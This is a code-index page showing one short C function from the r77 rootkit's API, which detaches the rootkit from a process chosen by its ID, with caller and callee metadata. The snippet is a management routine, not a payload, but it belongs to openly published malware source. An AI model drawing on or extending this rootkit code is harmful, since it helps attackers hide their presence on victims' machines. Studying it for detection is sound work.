MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / DetachInjectedProcessById

Function DetachInjectedProcessById

r77api/r77process.c:193–213  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

191 return result;
192}
193BOOL DetachInjectedProcessById(DWORD processId)
194{
195 BOOL result = FALSE;
196 PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
197 DWORD r77ProcessCount = 1000;
198
199 if (GetR77Processes(r77Processes, &r77ProcessCount))
200 {
201 for (DWORD i = 0; i < r77ProcessCount; i++)
202 {
203 if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId)
204 {
205 result = DetachInjectedProcess(&r77Processes[i]);
206 break;
207 }
208 }
209 }
210
211 FREE(r77Processes);
212 return result;
213}
214VOID DetachAllInjectedProcesses()
215{
216 PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);

Callers 2

DetachFunction · 0.85
ControlCallbackFunction · 0.85

Calls 2

GetR77ProcessesFunction · 0.85
DetachInjectedProcessFunction · 0.85

Tested by

no test coverage detected